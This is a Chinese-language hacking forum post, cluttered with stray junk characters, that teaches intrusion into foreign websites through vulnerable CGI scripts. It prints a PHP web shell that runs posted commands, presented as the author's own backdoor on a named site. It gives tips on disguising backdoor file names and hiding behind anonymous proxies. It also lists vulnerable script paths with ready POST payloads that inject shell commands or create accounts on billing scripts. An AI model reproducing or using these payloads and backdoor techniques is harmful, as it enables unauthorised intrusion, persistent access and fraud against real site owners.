CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
6 r1 j' f: K- ?大家好 我是bboyhip  只是一名菜菜的exploiter
( U1 h; t9 w9 y# @很开心来到贵论坛
这里让我感觉 很有技术交流的感觉
我会长长来玩的
0 H9 [2 _6 K' Q8 M- T前言:
以下讲解针对欧美日本网站
當我們在做滲透分析的時候 方法有很多
9 d2 h3 E8 [3 e2 d: S9 h6 K- T我门都知道 国外伺服器大多是linux 平台
  n* _- b3 z# @" E' \所以有很多网站程序有6成都会使用cgi 脚本来管理
目录为/cgi-bin/

; V" Y" ?3 K& G8 q  I只是个人在实务上一些经验
写的不好 请多多见谅喔
在这里我简单分为几个部份一定要會的
讲解一下
) L/ K4 O) Y) o" @: y让没有基础的人很容易上手
2 [) B6 T- R$ \4 {5 x
; g$ s; }0 P- P0 G  d以下内容跟帖回复才能看到
  d3 L. ]# u: u9 p3 O+ [  j: M0 q==============================
$ G9 z! k! R: v; X, Q1 V) e) l
第1部份: 何谓Shell?
& ~) Q, c' n9 d7 \8 b- }Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
A shell is the program which reads user input from the command line and executes actions based upon that input.
8 J4 C: U% W* T! i" T意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.

对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
: p" @: O! y0 b3 _% A所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.

第2部份: Unix 指令
8 P) t" n9 g# Y, ~2 q以下是一些常见及重要的指令:
pwd: 显示当前目录, 即是後门/程式所在的位置
/ I8 `3 O8 b1 ]: G5 a) @* O- C6 N如 /home/www/site.com/cgi-bin/
: Z& Q  P+ c( U( p# Z* n  fls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
& j* b8 `$ |, O" |  ~ls /: 列出根目录
( S' s7 I. Q0 g1 r3 bls /etc: 列出/etc的资料夹及档案
ls ../ -al: 详细列出上一层的资料夹及档案
% C, U( W5 W/ X6 ?) {cat: 显示档案内容
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
who: 显示谁login 至系统
1 I* x, B- F6 f6 O# `" o1 sman: 显示指令用法  
man ls: 显示ls这指令的用法  
5 i: j$ k6 y  b: i" n3 O- ]mkdir 建立目录
- `6 i9 q* Q6 l$ [% K; ^& brmdir 删除目录
mv 移动档案
( A5 [; ?. S. I) W4 U/ i. trm 删除档案
6 m  W' t& C% G* R4 k7 l1 s) n6 q
8 {7 w0 h/ P- u7 C第3部份: Shell的使用
例如:
http://site.com/refer.php
这是我的後门, 原代码如下:
5 B* E8 r) c/ b% p5 g. N" z<Form Action="#" Method="POST">
4 W6 a  `; k0 m<Input type="text" name="cmd">
7 V; M8 o/ C* I) q; [<Input type="Submit">
; g3 a, x; b0 }9 o2 }+ D  i4 T* i& G. ~</Form>
<?php
% F7 S) n' ?* j* L& q1 V$cmd = $_POST['cmd'];
1 v! Y6 H; c7 [% f) i$Output = shell_exec($cmd);
2 I) \- F: c+ {0 D7 j/ Q" ^echo $Output;
?>
9 Z9 P$ b1 d( x- Y7 t5 l' c输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com

第4部份: 注意事项
- 使用匿名代理, 保障自己
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
: K. Y. N) s+ `* ]0 P- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
8 e6 I! J4 f- Z+ s* Z- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
不容易被发现.
0 U' {: \& @: M, U% F) O1 g3 r- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
针对网站的渗透分析方法太多了
2 B2 p; O. [# N/ k这篇文章的重点是cgi 脚本攻击
所以我用简单的叙述形容
' @0 _* L/ x8 c* G* T: `( n开始讲解脚本入侵过程:
% j; y5 m9 g5 [0 V8 p4 l在这里提供一些方法思路让大家学习一下
' k1 a" ]. t9 c$ V1 s7 z( I
! ~2 W$ c) i2 m7 W1.一开始对一个网站进行cgi漏洞扫描
' I* Z% p2 W7 R3 S, V我们需要的东西有
扫洞工具 如:triton..等等
' B7 r7 S# A; J; I8 M  BE表
如
. g' Y% k  o' A, f7 T9 z% b3 Z/cgi-bin/add-passwd.cgi
/WebShop/templates/cc.txt
/Admin_files/order.log
/orders/mountain.cfg
/cgi-sys/cart.pl
/ I, e7 n& a* O; F9 e- ?: g# }9 @/scripts/cart.pl
/htbin/cart.pl
9 C+ C; p2 s! v# b' PE表来源可以是网路收寻或是自己的0 day
) s$ j# C  h1 O3 h& P3 f5 ]: q
/ Z% W( A8 n9 b/ ~, T2 S2.怎样确认扫到的洞 是真的还假的?
举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
一般都是在IE里先看一下的,记住这个返回码哦
. l. m' j( p! F) b" M0 |8 A. sERROR:This script should be referenced with a METHOD of POST.
没有返回一定是假的
: j! x! _. t. W! D3.重来来了 很多人都会问我
他扫到很多洞 但是不会使用
& \) X7 V" a4 G: @! v4 a因为这些漏洞 使用的语法 称为post
我们要找post 的方法很多
可以是源代码分析 找出介质
" y* Q$ m& x) R6 l或是用抓包工具 抓他的语法...等等
( D  {9 j1 I7 D1 S& e6 @
以下我提供10个 cgi 洞以及使用方法post
0 c; Q2 _- {$ ?- }7 W让大家可以针对网站去做扫描  
/index.cgi
wei=ren&gen=command
& _% ]' W  G! A/passmaster.cgi
5 B+ I% T' B0 v' Q1 o) Z( v- cAction=Add&Username=Username&Password=Password
: `! w- z: q& |2 G1 E3 k2 k/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
: W$ K1 B5 q; x0 x/addusr.pl
% i& Y$ p: p6 K/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
$ b5 Q" v+ Q9 {7 C/ccbill-local.asp
post_values=username:password
/count.cgi
5 p  N' u! h1 ^! p& ?pinfile=|echo;ls -la;exit|
) O# p$ M4 d$ E/recon.cgi
: c# _% G; b( s$ Y/recon.cgi?search
5 l" x% d' l9 A2 ~/ Isearchoption=1&searchfor=|echo;ls -al;exit|
/verotelrum.pl
# R9 u9 Y) }) S- A/ I; Kvercode=username:password:dseegsow:add:amount<&30>
4 ]- g# c% r6 N/af.cgi_browser_out=|echo;ls -la;exit;|

今天就讲到这  感谢大家支持